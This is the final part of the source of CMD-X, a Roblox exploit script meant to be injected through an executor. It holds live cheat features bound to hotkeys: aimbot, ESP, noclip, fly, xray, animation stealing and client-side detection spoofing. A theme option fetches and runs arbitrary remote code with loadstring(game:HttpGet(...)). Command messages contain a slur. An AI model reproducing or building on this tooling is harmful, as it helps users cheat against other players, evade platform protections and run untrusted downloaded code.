12715 ctAe = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(cAe)
12716 ctAe:Play(.1, 1, 1)
12717 dtAe = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(dAe)
12718 dtAe:Play(.1, 1, 1e8)
12719 else
12720 if btAe then btAe:Stop() end
12721 if ctAe then ctAe:Stop() end
12722 if dtAe then dtAe:Stop() end
12723 btAe = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(bAe)
12724 btAe:Play(.1, 1, 1e3)
12725 useCommand.spin()
12726 end
12727 opx("-","Now being a retard")
12728end
12729
12730function useCommand.unretard()
12731 if btAe then btAe:Stop() useCommand.unspin() end
12732 if ctAe then ctAe:Stop() end
12733 if dtAe then dtAe:Stop() end
12734 opx("-","Stopped being a retard")
12735end
12736
12737function useCommand.animationsteal()
12738 if arguments[2] then
12739 if cmd15(cmdlp) then
12740 local target = findplr(arguments[2])
12741 if target then
12742 if cmd15(target) then
12743 if target.Character:FindFirstChild("Animate") then
12744 if game.Players.LocalPlayer.Character:FindFirstChild("Animate") then
12745 checkifmyanim = game.Players.LocalPlayer.Character:FindFirstChild("animstorage")
12746 if checkifmyanim then
12747 local z = game.Players.LocalPlayer.Character:FindFirstChild("Animate")
12748 if z then z:Destroy() end
12749 checkifmyanim.Name = "Animate"
12750 checkifmyanim.Disabled = false
12751 end
12752 end
12753 local z = game.Players.LocalPlayer.Character:FindFirstChild("Animate")
12754 if z then
12755 z.Name = "animstorage"
12756 z.Disabled = true
12757 end
12758
12759 local newanim = target.Character.Animate:Clone()
12760 newanim.Parent = game.Players.LocalPlayer.Character
12761 newanim.Name = "Animate"
12762 opx("-","Stole "..target.Name.."'s animations")
12763 else
12764 opx("*","Target is missing proper animations.")
12765 end
12766 else
12767 opx("*","Player is not R15!")
12768 end
12769 else
12770 opx("*","Player does not exist!")
12771 end
12772 else
12773 opx("*","R15 required!")
12774 end
12775 else
12776 opx("*","2 arguments are required!")
12777 end
12778end
12779
12780function useCommand.unanimationsteal()
12781 if cmd15(cmdlp) then
12782 if cmdlp.Character:FindFirstChild("animstorage") then
12783 if cmdlp.Character:FindFirstChild("Animate") then
12784 cmdlp.Character:FindFirstChild("Animate"):Destroy()
12785 end
12786 local as = cmdlp.Character:FindFirstChild("animstorage")
12787 as.Name = "Animate"
12788 as.Disabled = false
12789 opx("-","Animations reverted to normal.")
12790 else
12791 opx("*","Animations haven't been stolen!")
12792 end
12793 else
12794 opx("*","R15 required!")
12795 end
12796end
12797
12798function useCommand.nohurtoverlay()
12799 opx("-","Turned off hurt overlay")
12800 hurtOverlay = true
12801 game:GetService("CoreGui").TopBar.FullScreenFrame.HurtOverlay:GetPropertyChangedSignal("Visible"):Connect(function()
12802 if hurtOverlay == true then
12803 game:GetService("CoreGui").TopBar.FullScreenFrame.HurtOverlay.Visible = false
12804 end
12805 end)
12806end
12807
12808function useCommand.yeshurtoverlay()
12809 opx("-","Turned on hurt overlay")
12810 hurtOverlay = false
12811end
12812
12813function useCommand.gotofreecam()
12814 opx("-","Teleported to freecam")
12815 cmdlp.Character.HumanoidRootPart.CFrame = workspace.Camera.CFrame
12816end
12817
12818function useCommand.compilecommand()
12819 local argSplit = arguments[2]:split("/")
12820 local xCMD = 'CMDN[#CMDN+1] = {N = '
12821 xCMD = xCMD..'"'..argSplit[1]..'", A = {'
12822 if argSplit[2] == "nil" then
12823 xCMD = xCMD..'""}, CMD = "'
12824 else
12825 table.remove(argSplit,1)
12826 for i,v in pairs(argSplit) do
12827 if i ~= #argSplit then
12828 xCMD = xCMD..'"'..argSplit[i]..'",'
12829 else
12830 xCMD = xCMD..'"'..argSplit[i]..'"}, CMD = "'
12831 end
12832 end
12833 end
12834 local argSplit2 = arguments[2]:split("/")
12835 if argSplit2[2] == "nil" then table.remove(argSplit2,2) end
12836 xCMD = xCMD..currentCMDNUM+1 ..','
12837 for i,v in pairs(argSplit2) do
12838 if i ~= #argSplit2 then
12839 xCMD = xCMD..argSplit2[i]..'/'
12840 else
12841 xCMD = xCMD..argSplit2[i]..','
12842 end
12843 end
12844 xCMD = xCMD..'('..arguments[3]..'),'
12845 xCMD = xCMD..getstring(4)..'"}'
12846 setclipboard(xCMD)
12847 opx("-","Compiled command to your clipboard.")
12848end
12849
12850function useCommand.newaudios()
12851 local URL = ("https://search.roblox.com/catalog/json?CatalogContext=2&Category=9&SortType=3&IncludeNotForSale=true&ResultsPerPage=")
12852 if not arguments[2] then arguments[2] = "10" end
12853 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..arguments[2]))
12854 xIds = ""
12855 for i,v in pairs(Http) do
12856 xIds = xIds..v.AssetId.."\n"
12857 end
12858 opxL("Newest-IDs",xIds)
12859 opx("Listed new audios")
12860end
12861
12862user.Changed:connect(function()
12863 user.Text = user.Text:sub(1,13)..">"
12864end)
12865---------------------------------------|
12866-- GUI Hotkeys: -----------------------|
12867cmdm.KeyDown:connect(function(key)
12868 if key == hotkeyopen then
12869 if holder.Visible == false then
12870 if force == true then
12871 wait(.1)
12872 output.Visible = true
12873 end
12874 holder.Visible = true
12875 else
12876 if output.Visible == true then
12877 force = true
12878 else
12879 force = false
12880 end
12881 output.Visible = false
12882 holder.Visible = false
12883 end
12884 elseif key == hotkeyopx then
12885 if output.Visible == true then
12886 for i = 1,10 do
12887 wait(.1)
12888 for i,v in pairs(output:GetDescendants()) do
12889 if v:IsA("ImageLabel") then
12890 v.ImageTransparency = v.ImageTransparency + 0.1
12891 v:TweenSize(UDim2.new(0,525,0,0), "InOut", "Quart",1)
12892 elseif v:IsA("TextLabel") then
12893 v.TextTransparency = v.TextTransparency + 0.1
12894 end
12895 end
12896 output.Transparency = output.Transparency + 0.1
12897 output:TweenPosition(UDim2.new(0, output.Position.X.Offset, 0, 290), "InOut", "Quart",1)
12898 output:TweenSize(UDim2.new(0,525,0,0), "InOut", "Quart",1)
12899 end
12900 output.Visible = false
12901 holder.Active = false
12902 else
12903 output.Visible = true
12904 holder.Active = true
12905 for i = 1,10 do
12906 wait(.1)
12907 for i,v in pairs(output:GetDescendants()) do
12908 if v:IsA("ImageLabel") then
12909 v.ImageTransparency = v.ImageTransparency - 0.1
12910 v:TweenSize(UDim2.new(0,525,0,253), "InOut", "Quart",1)
12911 elseif v:IsA("TextLabel") then
12912 v.TextTransparency = v.TextTransparency - 0.1
12913 end
12914 end
12915 output.Transparency = output.Transparency - 0.1
12916 output:TweenPosition(UDim2.new(0, -8, 0, 19), "InOut", "Quart",1)
12917 output:TweenSize(UDim2.new(0,525,0,253), "InOut", "Quart",1)
12918 end
12919 end
12920 elseif key == hotkeyfocus then
12921 cmd:CaptureFocus(wait())
12922 elseif key == hotkeyfly then
12923 if FLYING == true then
12924 FLYING = false
12925 game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
12926 else
12927 sFLY()
12928 speedofthefly = permflyspeed
12929 end
12930 elseif key == hotkeyxray then
12931 if transparent == true then
12932 transparent = false
12933 x(transparent)
12934 else
12935 transparent = true
12936 x(transparent)
12937 end
12938 elseif key == hotkeynoclip then
12939 if Clip == false then
12940 if Noclipping then
12941 Noclipping:Disconnect()
12942 end
12943 Clip = true
12944 else
12945 noclip()
12946 end
12947 elseif key == hotkeyaimbot then
12948 if Enabledaimbot == false then
12949 Enabledaimbot = true
12950 wait()
12951 BodyAimbot()
12952 else
12953 Enabledaimbot = false
12954 wait()
12955 BodyAimbot()
12956 end
12957 elseif key == hotkeyesp then
12958 if ESPenabled == false then
12959 ESPenabled = true
12960 for i,v in pairs(cmdp:GetChildren()) do
12961 if v.ClassName == "Player" and v.Name ~= cmdp.LocalPlayer.Name then
12962 ESP(v)
12963 end
12964 end
12965 else
12966 ESPenabled = false
12967 for i,v in pairs(cmdp:GetChildren()) do
12968 local espplr = v
12969 for i,c in pairs(cmdlp.PlayerGui:GetChildren()) do
12970 if c.Name == espplr.Name..'_ESP' then
12971 c:Destroy()
12972 end
12973 end
12974 end
12975 for i,v in pairs(game.Players:GetPlayers()) do
12976 local poop = v
12977 local player = v.Name
12978 for i,m in pairs(v.Character:GetChildren()) do
12979 if m:IsA("Part") or m:IsA("MeshPart") then
12980 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or (m:IsA("Part")) then
12981 m.Material = "Plastic"
12982 end
12983 elseif m:IsA("Accessory") then
12984 m.Handle.Material = "Plastic"
12985 end
12986 end
12987 end
12988 end
12989 else
12990 for i,_ in pairs(hkBinds) do
12991 if key == hkBinds[i].K then
12992 wait()
12993 alignFunctions(hkBinds[i].C)
12994 local cmdsy = findCmd(hkBinds[i].C)
12995 if cmdsy ~= nil then
12996 --pcall(function()
12997 useCommand[cmdsy]()
12998 --end)
12999 else
13000 local invalidString = getstring(1)
13001 if #invalidString > 38 then
13002 invalidString = invalidString:sub(1,35).."..."
13003 end
13004 opx("*",invalidString.." is not a valid command.")
13005 end
13006 end
13007 end
13008 end
13009end)
13010---------------------------------------|
13011-- Print Function: --------------------|
13012print("[CMD-X LOADED] | "..cmdlp.Name.." | Version: "..ver.." | Prefix: "..prefix)
13013print("\
13014 _____ _____ _____ \
13015 /\\ \\ /\\ \\ /\\ \\ ______ \
13016 /::\\ \\ /::\\____\\ /::\\ \\ |::| | \
13017 /::::\\ \\ /::::| | /::::\\ \\ |::| | \
13018 /::::::\\ \\ /:::::| | /::::::\\ \\ |::| | \
13019 /:::/\\:::\\ \\ /::::::| | /:::/\\:::\\ \\ |::| | \
13020 /:::/ \\:::\\ \\ /:::/|::| | /:::/ \\:::\\ \\ |::| | \
13021 /:::/ \\:::\\ \\ /:::/ |::| | /:::/ \\:::\\ \\ |::| | \
13022 /:::/ / \\:::\\ \\ /:::/ |::|___|______ /:::/ / \\:::\\ \\ |::| | \
13023 /:::/ / \\:::\\ \\ /:::/ |::::::::\\ \\ /:::/ / \\:::\\ ___\\ ______|::|___|___ ____ \
13024/:::/____/ \\:::\\____\\/:::/ |:::::::::\\____\\/:::/____/ \\:::| ||:::::::::::::::::| |\
13025\\:::\\ \\ \\::/ /\\::/ / ~~~~~/:::/ /\\:::\\ \\ /:::|____||:::::::::::::::::| |\
13026 \\:::\\ \\ \\/____/ \\/____/ /:::/ / \\:::\\ \\ /:::/ / ~~~~~~|::|~~~|~~~ ~~~~ \
13027 \\:::\\ \\ /:::/ / \\:::\\ \\ /:::/ / |::| | \
13028 \\:::\\ \\ /:::/ / \\:::\\ /:::/ / |::| | \
13029 \\:::\\ \\ /:::/ / \\:::\\ /:::/ / |::| | \
13030 \\:::\\ \\ /:::/ / \\:::\\/:::/ / |::| | \
13031 \\:::\\ \\ /:::/ / \\::::::/ / |::| | \
13032 \\:::\\____\\ /:::/ / \\::::/ / |::| | \
13033 \\::/ / \\::/ / \\__/____/ |::|___| \
13034 \\/____/ \\/____/ ~~ ")
13035print("made by pigeon#1818 & hz#4777")
13036print("\
13037Having trouble?\
13038Press U for output\
13039Press Q to close and open\
13040Press ; to auto focus\
13041(Free exploits do not work with CMD-X)\
13042Type support into the cmd bar for anymore support (if needed)\
13043To use chat commands use the prefix '"..prefix.."'")
13044
13045local StarterGui = game:GetService("StarterGui")
13046StarterGui:SetCore("ChatMakeSystemMessage", {Text = "Welcome to CMD-X, "..cmdlp.Name..".";Color = Color3.fromRGB(50, 50, 50);Font = Enum.Font.SourceSansBold;TextSize = 25})
13047StarterGui:SetCore("ChatMakeSystemMessage", {Text = "Press U for output and F9 for more info!";Color = Color3.fromRGB(100, 100, 100);Font = Enum.Font.SourceSansBold;TextSize = 20})
13048StarterGui:SetCore("ChatMakeSystemMessage", {Text = "To use chat commands use the prefix '"..prefix.."'";Color = Color3.fromRGB(100, 100, 100);Font = Enum.Font.SourceSansBold;TextSize = 20})
13049---------------------------------------|
13050-- Start CMDs: ------------------------|
13051if #enterCMD > 0 then
13052 for i = 1,#enterCMD do
13053 wait()
13054 cmd:CaptureFocus()
13055 local cmdsy = findCmd(enterCMD[i].N)
13056 if cmdsy ~= nil then
13057 pcall(function()
13058 useCommand[cmdsy]()
13059 end)
13060 else
13061 invalidString = enterCMD[i].N
13062 if #invalidString > 38 then
13063 invalidString = invalidString:sub(1,35).."..."
13064 end
13065 opx("*",invalidString.." is not a valid command.")
13066 end
13067 cmd:ReleaseFocus()
13068 end
13069end
13070user.Changed:connect(function()
13071 user.Text = user.Text:sub(1,13)..">"
13072end)
13073cmd.Focused:connect(function()
13074 local NumberOf = #History
13075 cmduis.InputBegan:Connect(function()
13076 if cmduis:IsKeyDown(Enum.KeyCode.LeftShift) and cmduis:IsKeyDown(Enum.KeyCode.Backspace) then
13077 cmd.Text = ""
13078 elseif cmduis:IsKeyDown(Enum.KeyCode.Up) then
13079 if #History ~= 0 and NumberOf ~= 0 then
13080 cmd.Text = History[NumberOf]
13081 NumberOf = NumberOf - 1
13082 end
13083 end
13084 end)
13085end)
13086output.Visible = true
13087holder.Active = true
13088holder.Draggable = false
13089
13090tabs = holder
13091mou = cmdm
13092
13093tabs.MouseEnter:Connect(function()
13094 checkMouse = true
13095 mdwn = tabs.InputBegan:Connect(function(input)
13096 if input.UserInputType == Enum.UserInputType.MouseButton1 then
13097 startpos = tabs.Position
13098 startdrag = input.Position
13099 mouseDown = true
13100 mou = input
13101 mloo = game:GetService("RunService").RenderStepped:Connect(function()
13102 if mouseDown then
13103 delta = mou.Position - startdrag
13104 tabs.Position = UDim2.new(startpos.X.Scale, startpos.X.Offset + delta.X, startpos.Y.Scale, startpos.Y.Offset + delta.Y)
13105 end
13106 end)
13107 end
13108 end)
13109 mmoved = tabs.InputChanged:Connect(function(input)
13110 if input.UserInputType == Enum.UserInputType.MouseMovement then
13111 mou = input
13112 end
13113 end)
13114 tabs.InputEnded:Connect(function(input)
13115 if input.UserInputType == Enum.UserInputType.MouseButton1 then
13116 mouseDown = false
13117 mmoved:Disconnect()
13118 if mloo ~= nil then mloo:Disconnect() end
13119 end
13120 end)
13121end)
13122tabs.MouseLeave:Connect(function()
13123 mdwn:Disconnect()
13124end)
13125---------------------------------------|
13126-- Themes: ----------------------------|
13127
13128styleAS = dStyle:split(" ")
13129
13130function getAsset(ID)
13131 return("http://www.roblox.com/Thumbs/Asset.ashx?format=png&width=420&height=420&assetId="..ID)
13132end
13133
13134if dStyle == "rounded" then
13135 output.Style = Enum.FrameStyle.RobloxRound
13136elseif dStyle == "squared" then
13137 output.Style = Enum.FrameStyle.RobloxSquare
13138elseif dStyle == "blended" then
13139 output.Style = Enum.FrameStyle.Custom
13140elseif dStyle == "smalled" then
13141 output.Style = Enum.FrameStyle.DropShadow
13142elseif dStyle == "lightblue" then
13143 entry.BackgroundColor3 = Color3.fromRGB(170, 170, 170)
13144 output1.TextColor3 = Color3.fromRGB(1, 1, 1)
13145 output2.TextColor3 = Color3.fromRGB(1, 1, 1)
13146 output3.TextColor3 = Color3.fromRGB(1, 1, 1)
13147 output4.TextColor3 = Color3.fromRGB(1, 1, 1)
13148 output5.TextColor3 = Color3.fromRGB(1, 1, 1)
13149 output6.TextColor3 = Color3.fromRGB(1, 1, 1)
13150 output7.TextColor3 = Color3.fromRGB(1, 1, 1)
13151 output8.TextColor3 = Color3.fromRGB(1, 1, 1)
13152 output9.TextColor3 = Color3.fromRGB(1, 1, 1)
13153 cmd.TextColor3 = Color3.fromRGB(1,1,1)
13154 cmd.PlaceholderColor3 = Color3.fromRGB(1,1,1)
13155 output.Style = Enum.FrameStyle.ChatBlue
13156elseif dStyle == "lightgreen" then
13157 entry.BackgroundColor3 = Color3.fromRGB(170, 170, 170)
13158 output1.TextColor3 = Color3.fromRGB(1, 1, 1)
13159 output2.TextColor3 = Color3.fromRGB(1, 1, 1)
13160 output3.TextColor3 = Color3.fromRGB(1, 1, 1)
13161 output4.TextColor3 = Color3.fromRGB(1, 1, 1)
13162 output5.TextColor3 = Color3.fromRGB(1, 1, 1)
13163 output6.TextColor3 = Color3.fromRGB(1, 1, 1)
13164 output7.TextColor3 = Color3.fromRGB(1, 1, 1)
13165 output8.TextColor3 = Color3.fromRGB(1, 1, 1)
13166 output9.TextColor3 = Color3.fromRGB(1, 1, 1)
13167 cmd.TextColor3 = Color3.fromRGB(1,1,1)
13168 cmd.PlaceholderColor3 = Color3.fromRGB(1,1,1)
13169 output.Style = Enum.FrameStyle.ChatGreen
13170elseif dStyle == "lightred" then
13171 entry.BackgroundColor3 = Color3.fromRGB(170, 170, 170)
13172 output1.TextColor3 = Color3.fromRGB(1, 1, 1)
13173 output2.TextColor3 = Color3.fromRGB(1, 1, 1)
13174 output3.TextColor3 = Color3.fromRGB(1, 1, 1)
13175 output4.TextColor3 = Color3.fromRGB(1, 1, 1)
13176 output5.TextColor3 = Color3.fromRGB(1, 1, 1)
13177 output6.TextColor3 = Color3.fromRGB(1, 1, 1)
13178 output7.TextColor3 = Color3.fromRGB(1, 1, 1)
13179 output8.TextColor3 = Color3.fromRGB(1, 1, 1)
13180 output9.TextColor3 = Color3.fromRGB(1, 1, 1)
13181 cmd.TextColor3 = Color3.fromRGB(1,1,1)
13182 cmd.PlaceholderColor3 = Color3.fromRGB(1,1,1)
13183 output.Style = Enum.FrameStyle.ChatRed
13184elseif styleAS[1] == "bg" then
13185 output.Style = Enum.FrameStyle.Custom
13186 local iBG = Instance.new("ImageLabel", output)
13187 iBG.BackgroundColor3 = Color3.fromRGB(163,182,165)
13188 iBG.BackgroundTransparency = 1
13189 iBG.BorderSizePixel = 0
13190 iBG.Size = UDim2.new(0, 525, 0, 253)
13191 output1.Parent = iBG
13192 output2.Parent = iBG
13193 output3.Parent = iBG
13194 output4.Parent = iBG
13195 output5.Parent = iBG
13196 output6.Parent = iBG
13197 output7.Parent = iBG
13198 output8.Parent = iBG
13199 output9.Parent = iBG
13200 iBG.Image = getAsset(styleAS[2])
13201 iBG.ScaleType = Enum.ScaleType.Crop
13202else
13203 loadstring(game:HttpGet((dStyle),true))()
13204end
13205
13206---------------------------------------|
13207-- Chat hook: -------------------------|
13208local chatbar = cmdlp.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
13209chatbar.Focused:connect(function()
13210 while chatbar:IsFocused() do
13211 wait()
13212 if chatbar.Text:lower():sub(1,#prefix) == prefix then
13213 cmd.Text = chatbar.Text:sub(#prefix+1,100000)
13214 elseif chatbar.Text:lower():sub(1,1) == '.' then
13215 cmd.Text = chatbar.Text:sub(2,100000)
13216 end
13217 end
13218end)
13219
13220cmdlp.Chatted:connect(function(v)
13221 if v:lower():sub(1,#prefix) == prefix then
13222 cmd:CaptureFocus()
13223 cmd.Text = v:sub(#prefix+1,100000)
13224 cmd:ReleaseFocus()
13225 elseif v:lower():sub(1,1) == '.' then
13226 cmd:CaptureFocus()
13227 cmd.Text = v:sub(2,100000)
13228 cmd:ReleaseFocus()
13229 end
13230end)
13231
13232for i,v in pairs(AdmIG) do
13233 cmdp[AdmIG[i]].Chatted:Connect(function(a)
13234 if a:lower():sub(1,#prefix) == prefix then
13235 matchCommand = ""
13236 wait()
13237 alignFunctions(a:sub(#prefix+1,1000000))
13238 adminargs = a:sub(#prefix+1,1000000):split(" ")
13239 cmdsy = findCmd(adminargs[1])
13240 if cmdsy ~= nil then
13241 pcall(function()
13242 useCommand[cmdsy]()
13243 end)
13244 else
13245 invalidString = getstring(1)
13246 if #invalidString > 38 then
13247 invalidString = invalidString:sub(1,35).."..."
13248 end
13249 opx("*",invalidString.." is not a valid command.")
13250 end
13251 cmd.Text = ""
13252 elseif a:lower():sub(1,1) == '.' then
13253 matchCommand = ""
13254 wait()
13255 alignFunctions(a:sub(2,1000000))
13256 adminargs = a:sub(2,1000000):split(" ")
13257 cmdsy = findCmd(adminargs[1])
13258 if cmdsy ~= nil then
13259 pcall(function()
13260 useCommand[cmdsy]()
13261 end)
13262 else
13263 invalidString = getstring(1)
13264 if #invalidString > 38 then
13265 invalidString = invalidString:sub(1,35).."..."
13266 end
13267 opx("*",invalidString.." is not a valid command.")
13268 end
13269 cmd.Text = ""
13270 end
13271 end)
13272end
13273
13274if sDetect == true then
13275 cmdlp.MaximumSimulationRadius = 139
13276 cmdlp.SimulationRadius = 139
13277 cmdlp.OsPlatform = "CMD-X"
13278end
13279
13280wait(2.638)
13281
13282Sound2:Destroy()
13283
13284function RGBDev(Self)
13285 RGBDevCheck = true
13286 while RGBDevCheck == true do
13287 if Self ~= nil then
13288 for i,v in pairs(game:GetService("CoreGui").RobloxGui.PlayerListMaster.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScollingFrame.OffsetUndoFrame:GetDescendants()) do
13289 if v:IsA("TextLabel") and v.Name == "PlayerName" and v.Text == Self then
13290 for i = 0, 255, 1 do
13291 v.TextColor3 = Color3.fromHSV(i / 256, 0.5, 0.8)
13292 wait(.001)
13293 end
13294 end
13295 end
13296 else
13297 RGBDevCheck = false
13298 end
13299 wait()
13300 end
13301end
13302
13303for i,v in pairs(cmdp:GetPlayers()) do
13304 if Devs[v.Name] then
13305 opx("-",v.Name.." is in your server (DEV[CMD-X])")
13306 RGBDev(v.Name)
13307 end
13308end
13309
13310cmdp.PlayerAdded:Connect(function(v)
13311 if Devs[v.Name] then
13312 opx("-",v.Name.." is in your server (DEV[CMD-X])")
13313 RGBDev(v.Name)
13314 end
13315end)
13316-- End --------------------------------|